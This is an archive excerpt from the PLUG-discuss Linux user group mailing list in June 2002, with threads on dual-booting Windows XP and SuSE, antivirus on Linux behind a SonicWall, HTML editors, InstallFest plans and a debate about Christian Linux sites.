wife's request) > > > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > > offer me your best suggestions as far as which you prefer and which > > > > flavor of Linux you believe is most solid with your choice? Also, > > > > any gotchas that you can think of would be most helpful. > > > > > > > > Also, has anyone run into problems with accessing Windows only > > > > devices using either of these options? > > > > > > > > Mike > > > > > > > > -----Original Message----- > > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > > Sent: Sunday, May 26, 2002 9:36 PM > > > > To: plug-discuss@lists.plug.phoenix.az.us > > > > Cc: punkmmiv@cox.net > > > > Subject: Re: Windows and Linux > > > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > > > Matt wrote: > > > > > I know that Windows and Linux are supposed to operate pretty well > > > > > together, but the only articles I've read are about installing > > > > > Linux once Windows is already there. I'm running a pure SuSE 8.0 > > > > > box and I was wondering if it's possible to install Windows on it > > > > > while still being able to use my current install? > > > > > > > > Try win4lin. It lets you run windows as a window inside your > > > > GNU/Linux environment. Unlike VMWare and friends it is not a VM. > > > > Also, unlike WINE it actually works and works well. It will even let > > > > windows use (read/write) to your GNU/Linux file systems and such. It > > > > is not free, but neither is M$ Windows (so I assume you dont have a > > > > problem with that) and it is by far the best way to 'suffer' M$ while > > > > not having to 'leave' a real operating system. > > > > > > > > -Derek > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > > > > doesn't post to the list quickly and you use Netscape to write mail. > > > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > -----BEGIN PGP SIGNATURE----- > > Version: GnuPG v1.0.7 (GNU/Linux) > > > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > > UHgqeghEeXKGOxPtBOCylhE= > > =GPfW > > -----END PGP SIGNATURE----- > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9Bht/Q7yNnsYcupwRAhNWAKChScTJATCgmuNIRvNoSCKzhbKd5QCgiJ1C UyLE5jAFRuvxRSWhfXHE6dI= =4T27 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:47:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 11 Jun 2002 08:47:25 -0700 Subject: Lycoris RedmondLinux Message-ID: <1023810445.3d061b8d99ebb@webmail.freedom2surf.net> I called them this morning and left a message inviting them to be a part of the InstallFest. will let you know what response I get. Dennis Kibbe ------------------------------------------------- Everyone should have http://www.freedom2surf.net/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:50:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Greg) Date: Tue, 11 Jun 2002 08:50:11 -0700 Subject: Linux for Christians References: <4A8DFDA6B395D411A11B00508BEE23FE76B46C@mail.int.fh.org> Message-ID: <3D061C33.3080504@ttiltd.com> Amen to this one. I have never implied that Christians have monopoly on misconceptions. There are considerable number of other people who commit the same mistakes. Greg Tom Achtenberg wrote: >There are lots of closed minded non Christians who feel the internet is evil too. We need to educate them all. I agree, technology itself is not good or bad, it is how it is used and the users need to take personal responsibility as to how they use it within their own beliefs. > >-----Original Message----- >From: Greg [mailto:greg@ttiltd.com] >Sent: Tuesday, June 11, 2002 7:57 AM >To: plug-discuss@lists.plug.phoenix.az.us >Subject: Re: Linux for Christians > > >It was not ment to be blanket accusation. >It was directed only to the close minded ones >that blame technology instead the people >who are responsible. > > >Greg > > >Tom Achtenberg wrote: > > > >>In your last post before this one YOU talked about mixing religion and Linux causing flame wars. Now in this message YOU proceed to fire the first shot. I think the Christians on this list have been extremely patient and tolerant to this thread. Please extend them the same courtesies and not make blanket accusations like calling Christians "morons". >> >>-----Original Message----- >>From: Greg [mailto:greg@ttiltd.com] >>Sent: Tuesday, June 11, 2002 7:35 AM >>To: plug-discuss@lists.plug.phoenix.az.us >>Subject: Re: Linux for Christians >> >> >>Heeeeeey....!!!! >> >>Put the cat down and step away from the keyboard! >>haha, just joking >> >>Internet is evil? >>Damn! sometimes I still feel like I am living in dark ages. >>When do these morons realize that technology is never good or bad! >>It is neutral and only what you do with it is good or bad! >> >>For what it's worth I could probably use some Christian distro and host >>pron on it. (LOL) >>How does this sound to you all? Whould that constitute blasphemy? >> >>Greg >> >> >>Voltage Spike wrote: >> >> >> >> >> >>>-----BEGIN PGP SIGNED MESSAGE----- >>>Hash: SHA1 >>> >>>On Monday 10 June 2002 22:43, Kurt Granroth wrote: >>> >>> >>> >>> >>> >>> >>>>What *this* site is is yet another Special Interests Group with links >>>>to software related to their interest. It's no different, really, >>>>than an animal lover offering links to screensavers, wallpapers, pet >>>>interaction programs, and the like. Or any low-budget advocacy group >>>>sharing info on using Linux to advance the cause. >>>> >>>> >>>> >>>> >>>> >>>> >>>Don't worry. We'd laugh at the cat lovers as well. No harm >>>intended. ;-) >>> >>> >>> >>> >>> >>> >>> >>>>I actually did something a *little* similar not that long ago with my >>>>own church in an attempt to get people to interact more online. I had >>>>some tutorials and the like written up on how to use Linux and ogg >>>>vorbis (and was getting into icecast) to allow church members spread >>>>around the country and the world to still stay in touch. >>>>Hmm.. although in my case, midway through my work, I was told by the >>>>Church Board that I was to cease and desist any and all work I was >>>>doing since the Internet was evil (no joke) and they thought people >>>>should spend less time online, not more. Ah well. >>>> >>>> >>>> >>>> >>>> >>>> >>>"Evil"? I think I hear the words of an individual with little >>>experience. They need to keep in mind that the first amendment doesn't >>>just apply to them. >>> >>>In the case of spending more time offline, that is certainly a common >>>thread among society. However, if the religious leader of choice can >>>spend a couple of hours a day talking to people, then they should >>>respect my right to do the same. >>> >>>Your project sounds like it is dying to be placed on the PLUG website, >>>though. :-) >>> >>>- -- >>> Voltage Spike >>> ,,, >>> (. .) >>>- --ooO-(_)-Ooo-- >>>-----BEGIN PGP SIGNATURE----- >>>Version: GnuPG v1.0.6 (GNU/Linux) >>>Comment: For info see http://www.gnupg.org >>> >>>iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN >>>+nl5JW8PnnIFGzFr+PUmJrs= >>>=xg3K >>>-----END PGP SIGNATURE----- >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>> >>> >>> >>> >>> >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >> >> >> > > > >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 15:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 08:57:55 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint In-Reply-To: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> References: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> Message-ID: <200206110857.55452.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 07:14 am, Tom Achtenberg wrote: > At least it isn't cox Hey! Cox is excellent. Unless you need greater than 90% uptime. Or you need decent webmail. Or you want decent customer service. ;-) Otherwise, great speeds, great prices, and great NNTP server retention rate. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:05:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 11 Jun 2002 09:05:25 -0700 Subject: XP/Linux dual boot Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DCF@azmscorp01.corp.azms> Chech out this url. http://www.computing.net/linux/wwwboard/forum/8997.html It might be of some help. Larry -----Original Message----- From: Nathan England [mailto:plug@the-arcanum.org] Sent: Tuesday, June 11, 2002 8:41 AM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: XP/Linux dual boot -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I would install XP in a fat32 partition. Don't use NTFS. As far as I know, you can't modify the fat32 partition that XP is on, or it will break it's crc consistency and it won't boot. I don't know if that means the partition table in general or not. You might try getting a copy of partition magic 7 and use that. If you don't have it, I can loan you a copy of the rescue disks. nathan Am Dienstag 11 Juni 2002 01:50 vormittags schrieb Matt: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9BhopQ7yNnsYcupwRAtp2AJsHdd5d1wyIysWAnuvpVtqRWL96CgCfbyTe 757NsbB3WVwJzPxIsWhjcpc= =8O5p -----END PGP SIGNATURE----- ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:11:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 09:11:42 -0700 Subject: XP/Linux dual boot In-Reply-To: <000501c21125$040fc640$6501a8c0@ph.cox.net> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> Message-ID: <200206110911.42188.krycom1@cox.net> On Tuesday 11 June 2002 1:50 am, Matt wrote: > So today I went out to Fry's and bought Windows XP, because I need Windows > for a few things. I installed XP, and all went well. I prodded it for a few > minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the > default settings it gave me. It said it was going to delete the NTFS > partition, but I'd heard Linux works well with Windows, so I assumed that > the folks at SuSE knew what they were doing. Apparently I was wrong. Linux > installed fine, but when I restarted the computer to see if all was OK, I > found out that it wasn't. Windows shows up as an option in LILO, but it > merely goes to a black screen with white text that says "Loading > Windows..." What is it that I did wrong, and what should I do after I fdisk > it all and start repeating the same process? Matt, I install SuSE all the time as a dual boot system and it's one of the few linux distro's that works flawless. However, I assume when you installed Windows XP you told XP to format/partition only half the drive? -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 01:39:08 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Mon, 10 Jun 2002 18:39:08 -0700 Subject: PLUG-discuss digest, Vol 1 #2329 - 9 msgs In-Reply-To: <200206100540.g5A5e4231706@PlugList.MyButt.Net> References: <200206100540.g5A5e4231706@PlugList.MyButt.Net> Message-ID: <200206101839.08105.dan_lund@hotmail.com> I run InterCheck virus scanner on my Linux machine. It's quite nice, although I don't find many virii, if any. I haven't had one line from InterCheck in my syslog about a virus:) It scans for alot of well known virii. You can check it out at http://www.sophos.com There is a version you can download, and really has no restrictions. I think.... I haven't ran into any. -- Dan Lund > On Sun, 9 Jun 2002, Charlie Bullen wrote: > > I have been able to get Opera on Suse 7.3 to present itself to SoncWall > > as IE 5, but it still won't let me through. The solution proposed by > > sonic wall is to assign a Static ip address to my linux box and exepmt > > that ip from the anti virus requirement. This is possible to do, but I > > may have a hard time selling this idea to my employer. > > > > Is there any danger and if so how much, to running a linuxbox with no > > anti virus protection on a network that is all win98 or XP workstations? > > Many Linux servers, but this would be the first linux workstation. > > > > I've never heard of such a thing but is there antivirus software for > > linux? > > > > Regards, > > > > > > Charlie From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 01:45:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Mon, 10 Jun 2002 18:45:14 -0700 Subject: WYSIWYG editors Message-ID: <200206101845.14856.dan_lund@hotmail.com> I personally use the HTML editor that comes with Mozilla. Now, I do alot of coding by hand, forms and such, however when it comes to the proper layout of frames and tables, I really SUCK. (I'm a visual person in that respect) The reason I use the Mozilla Composer is because when it's saved, it's actually readable and able to be edited by hand! I really love that feature... and when you do something to it by hand, and bring it back into composer it doesn't twist it into a bloody mess. The only problems I have with it are trying to do Relative URLs. After editing an HTMl doc, I open it up in vi and just run: ":%s/file:\/\/\/whatever-directory-it-is-in//g" and that removes everything I don't want. Guess even though it's a 1.0, theres still a few bugs. Doesn't do forms and form elements for you though, you have to do those by hand. It will display them perfectly, and move them around. -- Dan -- quote -- Message: 1 Date: Sun, 09 Jun 2002 15:41:20 -0700 From: Greg Furmanek To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: WYSIWYG Editor Reply-To: plug-discuss@lists.plug.phoenix.az.us I have tried a lot of wysiwyg editors and I have to say that coding by hand beats it all Greg Bryce C. wrote: >Could anyone reccomend a good WYSIWYG HTML editor for linux? I really >hate having to type out table html by hand. > >Bryce C. >Network Administrator >CoBryce Communications >Bryce @ BryceCo . Net > -- end quote -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 03:34:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alan Dayley) Date: Mon, 10 Jun 2002 20:34:44 -0700 Subject: Installfest Suggestion In-Reply-To: References: Message-ID: <200206102034.44166.alandd@consultpros.com> I just recieved the shipment from SuSE today. It has about 10-12 (I didn't count) 7.2 live eval CDs. It has lots of other good stuff too! Alan On Monday 10 June 2002 08:29 pm, der.hans wrote: > Am 10. Jun, 2002 schwätzte Bryce C. so: > > This is seperate from my other question regarding the installfest. > > Has anyone considered bringing some SuSE Live Eval CDs for those who > > just want to try linux? I'd be willing to burn half a dozen copies or > > so if no one else is already planning on bringing it. I found it the > > least "stressful" of all dual boots and it takes up a minimal amount of > > HD space but the drawback is that it runs from the CD. Still this would > > allow people to dip their toe in a "user-friendly" Linux pond. > > I believe Live Eval CDs are amongst the swag we got ( are getting? ) from > SuSE. Yes, I hope we have plenty to give out. > > A few bootable business cards would be good too. I'll check on those. > > ciao, > > der.hans From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 21:06:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (sundar @esaravana) Date: Mon, 10 Jun 2002 14:06:30 -0700 Subject: Firwwire for Linux Message-ID: <3D0514D6.4070404@esaravana.com> I have to get a Firewire card for my Videocam. Do you suggest any Linux compatible cards? Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:15:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Richard L. Proctor) Date: Tue, 11 Jun 2002 09:15:46 -0700 Subject: XP/Linux dual boot In-Reply-To: <200206110841.29148.plug@the-arcanum.org> References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> <200206110841.29148.plug@the-arcanum.org> Message-ID: <200206110915.46929.krycom1@cox.net> On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > I would install XP in a fat32 partition. Don't use NTFS. > As far as I know, you can't modify the fat32 partition that XP is on, or it > will break it's crc consistency and it won't boot. > > I don't know if that means the partition table in general or not. > You might try getting a copy of partition magic 7 and use that. > If you don't have it, I can loan you a copy of the rescue disks. > > nathan I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the drive and SuSE on the other half and as a dual boot system. Works fine!! -- Richard L. Proctor Krystal Computer Services PC Repairs & Upgrades www.krycom.com 480-699-3098 From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:57:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Tue, 11 Jun 2002 10:57:09 -0400 (EDT) Subject: Niche Linux Distros In-Reply-To: <3D060829.8090904@ttiltd.com> Message-ID: One of the great strengths of Linux for us geeks is that it's easy to find the right distro. Want stability? use Debian or Slackware. Easy to install on the desktop? SuSE or Mandrake. Lots of industry support? RedHat. Minimalist? Linux From Scratch. (fill in your preferred flavor wherever appropriate) Niche marketing is something Linux is uniquely well adapted too, because of its componentized, open nature. The freedom to use Linux as one sees fit, as long as you allow others to do the same, is the entire point of the GPL. Sharing your results is a Good Thing, no matter who your distro appeals to. Extending this concept beyond the realm of geeks to end user niches like churches will help us to drive Microsoft's market share back to a level where they can once again be a healthy competitor (or destroy them if you prefer that objective). JM2C From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:23:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mike) Date: Tue, 11 Jun 2002 11:23:58 -0500 Subject: PLUG-discuss digest, Vol 1 #2329 - 9 msgs In-Reply-To: <200206101839.08105.dan_lund@hotmail.com>; from dan_lund@hotmail.com on Mon, Jun 10, 2002 at 06:39:08PM -0700 References: <200206100540.g5A5e4231706@PlugList.MyButt.Net> <200206101839.08105.dan_lund@hotmail.com> Message-ID: <20020611112358.B79360@lilly.csoft.net> I agree. I used Sophos at my last place. Works like a charm for a Samba server :-) On Mon, Jun 10, 2002 at 06:39:08PM -0700, Dan Lund wrote: I run InterCheck virus scanner on my Linux machine. It's quite nice, although I don't find many virii, if any. I haven't had one line from InterCheck in my syslog about a virus:) It scans for alot of well known virii. You can check it out at http://www.sophos.com There is a version you can download, and really has no restrictions. I think.... I haven't ran into any. -- Dan Lund > On Sun, 9 Jun 2002, Charlie Bullen wrote: > > I have been able to get Opera on Suse 7.3 to present itself to SoncWall > > as IE 5, but it still won't let me through. The solution proposed by > > sonic wall is to assign a Static ip address to my linux box and exepmt > > that ip from the anti virus requirement. This is possible to do, but I > > may have a hard time selling this idea to my employer. > > > > Is there any danger and if so how much, to running a linuxbox with no > > anti virus protection on a network that is all win98 or XP workstations? > > Many Linux servers, but this would be the first linux workstation. > > > > I've never heard of such a thing but is there antivirus software for > > linux? > > > > Regards, > > > > > > Charlie ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 10 18:30:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Yicheng Li) Date: Mon, 10 Jun 2002 11:30:02 -0700 Subject: SonicWall and linux client Message-ID: <001301c210ac$d5a27b90$6600a8c0@YICHENGWIN2K> There are several Linux-based Anti-virus software products out there. I had to look for one as part of a departmental security audit with my last employer. The rational is: 1) Linux boxes can become infected with Trojans, backdoors, or Root kits once a malicious attacker is able to gain access to the machine. This, BTW, is very possible, since many of the Linux service daemons are still relatively new and are prone to vulnerabilities like buffer overruns or malformed packets. If you do run a Linux machine, I highly recommend setting up some kind of host-based Firewall program. Even if you are on a LAN protected by a Firewall, most of those only scan packets coming from the outside. So, if your fellow co-workers on a Winbox is prone to opening email attachments or perhaps somebody left a PCAnywhere server running, (surprise!) you are now potentially vulnerable to attacks from his computer as well. 2) Linux with Samba often serve as file/print/domain servers for Windows machines. Even though the Linux box isn't susceptible to the viruses themselves, it can still be a carrier for the virus, storing them as the various Windesktops become infected by accessing it's file systems. I decided to go with Sophos Anti-Virus (www.sophos.com), but that was two years ago. It's fairly user friendly and pretty fast (with a virus def file that you can pull down regularly via a cron job). I've just done a Google search on "linux anti-virus" and found a whole bunch of other anti-virus programs that have popped up since then. Maybe one of those is better, maybe not. Yicheng Date: Sun, 9 Jun 2002 21:14:12 -0700 (PDT) From: Matt Alexander To: Subject: Re: SonicWall and linux client Reply-To: plug-discuss@lists.plug.phoenix.az.us Just tell your admin that you're running Linux so you don't have to worry about all the Windows viruses out there (he/she should be scanning or blocking email attachments on the mail server anyway). Give your box a static IP, have your admin tell the SonicWall to let you through, and you're set. Viruses on Linux are possible, but their propogation is slowed by a number of factors, such as: 1) Less Linux workstations directly connected to the Internet, relative to Windows boxes. Expect this to change in the future as more users and businesses start using Linux. 2) Linux users are usually more technically savvy and less likely to run strange attachments. Expect this to change in the future as well. 3) Damage is limited to only the files that the user can change/delete. ~M On Sun, 9 Jun 2002, Charlie Bullen wrote: > I have been able to get Opera on Suse 7.3 to present itself to SoncWall as IE 5, but it still won't let me through. The solution proposed by sonic wall is to assign a Static ip address to my linux box and exepmt that ip from the anti virus requirement. This is possible to do, but I may have a hard time selling this idea to my employer. > > Is there any danger and if so how much, to running a linuxbox with no anti virus protection on a network that is all win98 or XP workstations? Many Linux servers, but this would be the first linux workstation. > > I've never heard of such a thing but is there antivirus software for linux? > > Regards, > > > Charlie > > > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 16:28:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jeff James) Date: Tue, 11 Jun 2002 09:28:00 -0700 Subject: XP/Linux dual boot Message-ID:

What about multiple Linux Distros ?  I have RedHat 7.3, SuSE 8.0, and Slackware 7.0 which I would like to have installed on my Dell Optiplex GX150.  I have two drives, one which is partitioned in two. All three partitions currently in DOS and around 10 GB.  Will, for instance, RedHat LILO recognize all three Distros and allow me to choose which one to mount upon startup ?  As it would with, let's say, one Linux Distro and a Windows OS ?

Thanks

Jeff James

On Tuesday 11 June 2002 8:41 am, Nathan England wrote:
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drive and SuSE on the other half and as a dual boot system. Works fine!!
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From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 17:00:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Tue, 11 Jun 2002 10:00:17 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> <000501c21125$040fc640$6501a8c0@ph.cox.net> <200206110841.29148.plug@the-arcanum.org> <200206110915.46929.krycom1@cox.net> Message-ID: <3D062CA1.642704EA@qwest.net> But then you can't mount and use the Windows partitions under linux. "Richard L. Proctor" wrote: > > On Tuesday 11 June 2002 8:41 am, Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > > > I would install XP in a fat32 partition. Don't use NTFS. > > As far as I know, you can't modify the fat32 partition that XP is on, or it > > will break it's crc consistency and it won't boot. > > > > I don't know if that means the partition table in general or not. > > You might try getting a copy of partition magic 7 and use that. > > If you don't have it, I can loan you a copy of the rescue disks. > > > > nathan > > I use XP and SuSE 8.0 Professional and have Win XP using NTFS on half the > drive and SuSE on the other half and as a dual boot system. Works fine!! > > -- > Richard L. Proctor > Krystal Computer Services > PC Repairs & Upgrades > www.krycom.com > 480-699-3098 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 17:11:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 10:11:33 -0700 Subject: XP/Linux dual boot In-Reply-To: References: Message-ID: <200206111011.33766.voltage_spike@fastmail.fm> On Tuesday 11 June 2002 09:28 am, Jeff James wrote: > What about multiple Linux Distros ? I have RedHat 7.3, SuSE 8.0, and > Slackware 7.0 which I would like to have installed on my Dell Optiplex > GX150. I have two drives, one which is partitioned in two. All three > partitions currently in DOS and around 10 GB. Will, for instance, RedHat > LILO recognize all three Distros and allow me to choose which one to > mount upon startup ? As it would with, let's say, one Linux Distro and a > Windows OS ? Yes. It will. Although you probably don't want to use FAT partitions for installation, it sounds like you are ready to go. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 12 07:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (User) Date: Wed, 12 Jun 2002 00:18:36 -0700 Subject: code red virus? Message-ID: <3D06F5CB.84E0A50D@mindspring.com> Lately we have noticed that our friendly firewall is taking hits from what seems to be Russia. At least today it seems to be Russia. Novoisvirsk, it seems like, according to traceroute. I don't know a whole lot about probes like this but am thankful to you folks for your guidance with regard to firewalls. Is there something that we can do with regard to this type of thing? Maybe, just track them down for fun. Where would be a good place to start reading about this sort of thing. We trace routed them throught 25 hops to 217.70.107.151 p151.rnttu.sinor.ru was the last hop on the list. Thank you Roger From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:17:46 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:17:46 -0700 Subject: Linux on Comedy Central? Message-ID: <3D064CDA.6080609@earthlink.net> --------------060306090705020809070207 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I believe his name was Tennesee Tuxedo Ben Chacko nismo96@earthlink.net bob smith wrote: >> >> Hey all, >> Just thought I'd share something interesting with you. >> I don't know if any of you watch Comedy Central to >> regularly but there is a show on there called "Crank >> Yankers". It's a bunch of puppets and prank calls. >> Well one of the calls was from "Special Ed" to a tech >> support line. To my surprise there was a giant Linux >> poster (Linux Inside) on the back of the wall [:)] . >> >> Wonder where it will make its appearance next? Maybe >> some trippy anime show on the Cartoon Network starring Tux. > What was the old cartoon penguin named? His new nephew *IS* out beloved Tux [;-)] EBo -- --------------060306090705020809070207-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:23:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Tue, 11 Jun 2002 12:23:47 -0700 Subject: New Notebook Recommendations? Message-ID: <200206111223.47899.voltage_spike@fastmail.fm> I am looking into buying a new notebook computer for use as a general-purpose machine. One of my primary uses on the old laptop was for testing new *nix systems (FreeBSD, various distributions of Linux, etc.). I am considering buying from PC Club (www.pcclub.com), but if anybody else has any suggestions, I am willing to listen. The question I am more interested in, however, is whether I should go with an Intel or an AMD mobile processor. Intel seems to have some very nice features for their mobile line, but I have been unable to locate some good comparisons of the two. If somebody on the list has researched this item, I would love to hear from you. Thank you ahead of time. PS: I would really love an Apple system, but then I couldn't use it as test bed. Still, if someone can sell me on Mac OS X . . . PPS: I am sorry that I butchered the English language in the above message. I am hungry, and my brain is not working properly. -- Logan Kennelly ,,, (. .) --ooO-(_)-Ooo-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 19:33:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nismo96) Date: Tue, 11 Jun 2002 12:33:18 -0700 Subject: Linux for Christians Message-ID: <3D06507E.5040909@earthlink.net> --------------080004090400010403080901 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit I second the opinion to host the information on PLUG's site. I know that there would be a lot of useful info there. ...and as far as your church trying to limit it's member's use of the Net, why don't they suggest a filter to them? I did a quick search on Google and found several options listed. I personally do not have any filters installed, bu t my pastor and others in my church use them. Ben Chacko nismo96@earthlink.net On Monday 10 June 2002 22:43, Kurt 